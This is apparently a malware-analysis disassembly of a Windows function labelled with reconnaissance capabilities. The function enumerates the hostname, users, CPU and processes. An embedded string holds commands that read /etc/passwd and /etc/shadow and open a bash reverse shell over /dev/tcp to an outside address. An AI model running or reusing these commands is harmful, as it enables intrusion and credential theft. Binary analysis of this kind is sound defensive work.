Function at 0x140006210
Capabilities:
Enumerate process modules
Get cpu information
Get hostname
Get session user name
Get system information on windows
List user accounts
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push r12
lea rbp, [rsp - 0x1340]
mov eax, 0x1440
call fcn.140035580
sub rsp, rax
mov rax, qword [0x14007e018]
xor rax, rsp
mov qword [rbp + 0x1320], rax
mov qword [rsp + 0x1460], rsi
xor ecx, ecx
mov qword [rsp + 0x1468], rdi
mov qword [rsp + 0x1470], r13
mov qword [rsp + 0x1438], r14
call fcn.14003fb80
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
call fcn.14003feec
lea rcx, str.get_machine_name
mov qword [rsp + 0x48], rcx
lea r8, str._04d__02d__02d__02d:_02d:_02d____s__:
mov ecx, dword [rax]
mov edx, dword [rax + 0x10]
mov r9d, dword [rax + 0x14]
inc edx
mov dword [rsp + 0x40], ecx
add r9d, 0x76c
mov ecx, dword [rax + 4]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rax + 8]
mov eax, dword [rax + 0xc]
mov dword [rsp + 0x30], ecx
xor ecx, ecx
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], edx
mov edx, 1
call fcn.140001db0
lea rdx, [rsp + 0x58]
mov dword [rsp + 0x58], 0x10
lea rcx, [rbp + 0xfa0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
xor ecx, ecx
mov edx, 1
test eax, eax
je 0x1400062f9
lea r9, [rbp + 0xfa0]
lea r8, str.Machine_Name:__s_n
call fcn.140001db0
jmp 0x140006305
lea r8, str.Failed_to_get_machine_name._n
call fcn.140001db0
xor ecx, ecx
call fcn.14003fb80
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
call fcn.14003feec
lea rcx, str.get_current_user
mov qword [rsp + 0x48], rcx
lea r8, str._04d__02d__02d__02d:_02d:_02d____s__:
mov ecx, dword [rax]
mov edx, dword [rax + 0x10]
mov r9d, dword [rax + 0x14]
inc edx
mov dword [rsp + 0x40], ecx
add r9d, 0x76c
mov ecx, dword [rax + 4]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rax + 8]
mov eax, dword [rax + 0xc]
mov dword [rsp + 0x30], ecx
xor ecx, ecx
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], edx
mov edx, 1
call fcn.140001db0
lea rdx, [rsp + 0x58]
mov dword [rsp + 0x58], 0x101
lea rcx, [rbp + 0xff0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov r13, 0xffffffffffffffff
test eax, eax
je 0x1400063ef
xor r8d, r8d
lea rdx, [rbp + 0xff0]
xor ecx, ecx
call fcn.14003fb78
mov rdi, rax
cmp rax, r13
je 0x1400063ef
mov rcx, rax
add rcx, 1
cmovb rcx, r13
call fcn.14003b9a4
mov rbx, rax
test rax, rax
je 0x1400063ef
lea r8, [rdi + 1]
mov rcx, rax
lea rdx, [rbp + 0xff0]
call fcn.14003fb78
mov r9, rbx
lea r8, str.Current_User:__s_n
lea edx, [r13 + 2]
xor ecx, ecx
call fcn.140001db0
mov rcx, rbx
call fcn.14003b990
xor ecx, ecx
call fcn.14003fb80
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
call fcn.14003feec
lea rcx, str.get_all_users_info
mov qword [rsp + 0x48], rcx
lea r8, str._04d__02d__02d__02d:_02d:_02d____s__:
mov ecx, dword [rax]
mov edx, dword [rax + 0x10]
mov r9d, dword [rax + 0x14]
inc edx
mov dword [rsp + 0x40], ecx
add r9d, 0x76c
mov ecx, dword [rax + 4]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rax + 8]
mov eax, dword [rax + 0xc]
mov dword [rsp + 0x30], ecx
xor ecx, ecx
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], edx
mov edx, 1
call fcn.140001db0
xor r14d, r14d
lea r8, str.All_Users:_n
xor ecx, ecx
mov qword [rsp + 0x50], r14
mov dword [rsp + 0x58], r14d
mov dword [rsp + 0x5c], r14d
lea edx, [r14 + 1]
mov dword [rsp + 0x60], r14d
call fcn.140001db0
lea r12d, [r14 + 2]
lea rax, [rsp + 0x60]
mov r8d, r12d
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x50]
lea rax, [rsp + 0x5c]
mov edx, 1
mov qword [rsp + 0x30], rax
xor ecx, ecx
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xffffffff
call qword [sym.imp.NETAPI32.dll_NetUserEnum]
mov esi, eax
test eax, eax
je 0x1400064cc
cmp eax, 0xea
jne 0x14000654f
mov rbx, qword [rsp + 0x50]
test rbx, rbx
je 0x140006541
mov edi, r14d
cmp dword [rsp + 0x58], r14d
jbe 0x140006538
mov r9, qword [rbx]
test r9, r9
je 0x140006514
mov rax, r13
nop dword [rax + rax]
inc rax
cmp word [r9 + rax*2], r14w
jne 0x1400064f0
test rax, rax
je 0x140006514
lea r8, str._tUsername:__S_n
mov edx, 1
xor ecx, ecx
call fcn.140001db0
jmp 0x140006527
lea r8, str.Invalid_user_information_n
mov edx, 1
xor ecx, ecx
call fcn.140001db0
add rbx, 0x38
inc edi
cmp edi, dword [rsp + 0x58]
jb 0x1400064e0
mov rbx, qword [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.NETAPI32.dll_NetApiBufferFree]
cmp esi, 0xea
je 0x140006480
jmp 0x140006565
mov r9d, esi
lea r8, str.A_system_error_has_occurred:__d_n
mov edx, 1
xor ecx, ecx
call fcn.140001db0
xor ecx, ecx
call fcn.14003fb80
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
call fcn.14003feec
lea rcx, str.get_cpu_info
mov qword [rsp + 0x48], rcx
lea r8, str._04d__02d__02d__02d:_02d:_02d____s__:
mov ecx, dword [rax]
mov edx, dword [rax + 0x10]
mov r9d, dword [rax + 0x14]
inc edx
mov dword [rsp + 0x40], ecx
add r9d, 0x76c
mov ecx, dword [rax + 4]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rax + 8]
mov eax, dword [rax + 0xc]
mov dword [rsp + 0x30], ecx
xor ecx, ecx
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], edx
mov edx, 1
call fcn.140001db0
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea r8, str.CPU_Information:_n
mov edx, 1
xor ecx, ecx
call fcn.140001db0
mov r9d, dword [rbp - 0x78]
lea r8, str._tCPU:__d_cores_n
mov edx, 1
xor ecx, ecx
call fcn.140001db0
movdqa xmm0, xmmword [0x140074e70]
xor ecx, ecx
movdqu xmmword [rbp + 0xfa0], xmm0
mov eax, 0x80000000
xorps xmm0, xmm0
cpuid
mov dword [rbp + 0xfa4], ebx
mov dword [rbp + 0xfa8], ecx
mov dword [rbp + 0xfac], edx
movups xmmword [rbp + 0xfb0], xmm0
movups xmmword [rbp + 0xfc0], xmm0
movups xmmword [rbp + 0xfd0], xmm0
movups xmmword [rbp + 0xfe0], xmm0
cmp eax, 0x80000004
jb 0x1400066fc
xor ecx, ecx
lea r9, [rbp + 0xfb0]
mov eax, 0x80000002
lea r8, str._tCPU_Brand:__s_n
cpuid
mov dword [rbp + 0xfa8], ecx
xor ecx, ecx
mov dword [rbp + 0xfa0], eax
mov eax, 0x80000003
mov dword [rbp + 0xfac], edx
mov dword [rbp + 0xfa4], ebx
movups xmm0, xmmword [rbp + 0xfa0]
cpuid
mov dword [rbp + 0xfa8], ecx
xor ecx, ecx
mov dword [rbp + 0xfa0], eax
mov eax, 0x80000004
mov dword [rbp + 0xfac], edx
mov dword [rbp + 0xfa4], ebx
cpuid
movaps xmmword [rbp + 0xfb0], xmm0
movups xmm0, xmmword [rbp + 0xfa0]
mov dword [rbp + 0xfa8], ecx
xor ecx, ecx
mov dword [rbp + 0xfac], edx
mov edx, 1
movaps xmmword [rbp + 0xfc0], xmm0
mov dword [rbp + 0xfa0], eax
mov dword [rbp + 0xfa4], ebx
movups xmm0, xmmword [rbp + 0xfa0]
movaps xmmword [rbp + 0xfd0], xmm0
call fcn.140001db0
jmp 0x14000670f
lea r8, str._tCPU_Brand:_Unknown_n
mov edx, 1
xor ecx, ecx
call fcn.140001db0
lea rax, [rsp + 0x50]
mov dword [rsp + 0x5c], 4
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x58], r14d
lea rdx, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400067b5
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x28], rax
lea rdx, str.MHz
lea rax, [rsp + 0x58]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor ecx, ecx
mov edx, 1
test eax, eax
jne 0x14000679c
mov r9d, dword [rsp + 0x58]
lea r8, str._tCPU_Clock_Speed:__u_MHz_n
call fcn.140001db0
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400067c8
lea r8, str.Failed_to_get_CPU_clock_speed._n
call fcn.140001db0
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400067c8
lea r8, str.Failed_to_open_registry_key_for_CPU_clock_speed._n
mov edx, 1
xor ecx, ecx
call fcn.140001db0
xor ecx, ecx
call fcn.14003fb80
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
call fcn.14003feec
lea rcx, str.get_network_info
mov qword [rsp + 0x48], rcx
lea r8, str._04d__02d__02d__02d:_02d:_02d____s__:
mov ecx, dword [rax]
mov edx, dword [rax + 0x10]
mov r9d, dword [rax + 0x14]
inc edx
mov dword [rsp + 0x40], ecx
add r9d, 0x76c
mov ecx, dword [rax + 4]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rax + 8]
mov eax, dword [rax + 0xc]
mov dword [rsp + 0x30], ecx
xor ecx, ecx
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], edx
mov edx, 1
call fcn.140001db0
call fcn.1400018e0
xor ecx, ecx
call fcn.14003fb80
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
call fcn.14003feec
lea rcx, str.get_process_info
mov qword [rsp + 0x48], rcx
lea r8, str._04d__02d__02d__02d:_02d:_02d____s__:
mov ecx, dword [rax]
mov edx, dword [rax + 0x10]
mov r9d, dword [rax + 0x14]
inc edx
mov dword [rsp + 0x40], ecx
add r9d, 0x76c
mov ecx, dword [rax + 4]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rax + 8]
mov eax, dword [rax + 0xc]
mov dword [rsp + 0x30], ecx
xor ecx, ecx
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], edx
mov edx, 1
call fcn.140001db0
lea r8, str.Process_information:_n
mov edx, 1
xor ecx, ecx
call fcn.140001db0
lea r8, [rsp + 0x5c]
mov edx, 0x1000
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x140006a11
mov eax, dword [rsp + 0x5c]
shr eax, 2
test eax, eax
je 0x140006a24
mov qword [rsp + 0x1430], r15
lea rsi, [rbp - 0x60]
mov r15d, eax
mov ebx, dword [rsi]
test ebx, ebx
je 0x1400069f9
movups xmm0, xmmword [str._unknown_]
mov eax, dword [0x140074568]
lea rcx, [rbp + 0x1004]
xor edx, edx
mov dword [rbp + 0x1000], eax
mov r8d, 0x1f4
movaps xmmword [rbp + 0xff0], xmm0
call fcn.140037230
mov r8d, ebx
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14000696a
lea r9, [rsp + 0x60]
mov r8d, 8
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x14000696a
mov rdx, qword [rsp + 0x50]
lea r8, [rbp + 0xff0]
mov r9d, 0x104
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
xor r8d, r8d
lea rdx, [rbp + 0xff0]
xor ecx, ecx
call fcn.14003fb78
mov r14, rax
cmp rax, r13
je 0x1400069dd
mov rcx, rax
add rcx, 1
cmovb rcx, r13
call fcn.14003b9a4
mov rdi, rax
test rax, rax
je 0x1400069d4
lea r8, [r14 + 1]
mov rcx, rax
lea rdx, [rbp + 0xff0]
call fcn.14003fb78
mov ecx, dword [rsi]
lea r8, str._tProcess:__s__PID:__d_n
mov dword [rsp + 0x20], ecx
mov r9, rdi
xor ecx, ecx
mov edx, 1
call fcn.140001db0
mov rcx, rdi
call fcn.14003b990
jmp 0x1400069f0
lea r8, str._tFailed_to_allocate_memory_for_process_name._n
jmp 0x1400069e4
lea r8, str._tFailed_to_convert_process_name_to_char._n
mov edx, 1
xor ecx, ecx
call fcn.140001db0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsi, 4
sub r15, 1
jne 0x1400068e2
mov r15, qword [rsp + 0x1430]
jmp 0x140006a24
lea r8, str.Failed_to_get_process_information._n
mov edx, 1
xor ecx, ecx
call fcn.140001db0
mov r14, qword [rsp + 0x1438]
lea rdx, [rbp + 0x1200]
mov r13, qword [rsp + 0x1470]
lea rbx, str._bin_bash_dockerexeciappnet_subsys_bin_bash__c__ncat__etc_passwd_ncat__etc_shadow_ncat__etc_group_ncat__etc_hosts_ncat__etc_resolv.conf_ncat__etc_hostname_ncat__etc_hosts.allow_ncat__etc_hosts.deny_nwhoami_nbash__c__bash___i_____dev___tcp___47.341.22.72___2333_0___1__nsysctl_cjl__n
mov rdi, qword [rsp + 0x1468]
mov rsi, qword [rsp + 0x1460]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
lea rbx, [rbx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub r12, 1
jne 0x140006a52
mov eax, dword [rbx + 0x10]
lea r9, [rbp + 0x1200]
movups xmm0, xmmword [rbx]
lea r8, str._sGather_information_done__n
movups xmmword [rdx], xmm0
mov dword [rdx + 0x10], eax
movzx eax, word [rbx + 0x14]
mov word [rdx + 0x14], ax
mov edx, 1
mov ecx, edx
call fcn.140001db0
mov rcx, qword [rbp + 0x1320]
xor rcx, rsp
call fcn.140034c70
add rsp, 0x1440
pop r12
pop rbx
pop rbp
ret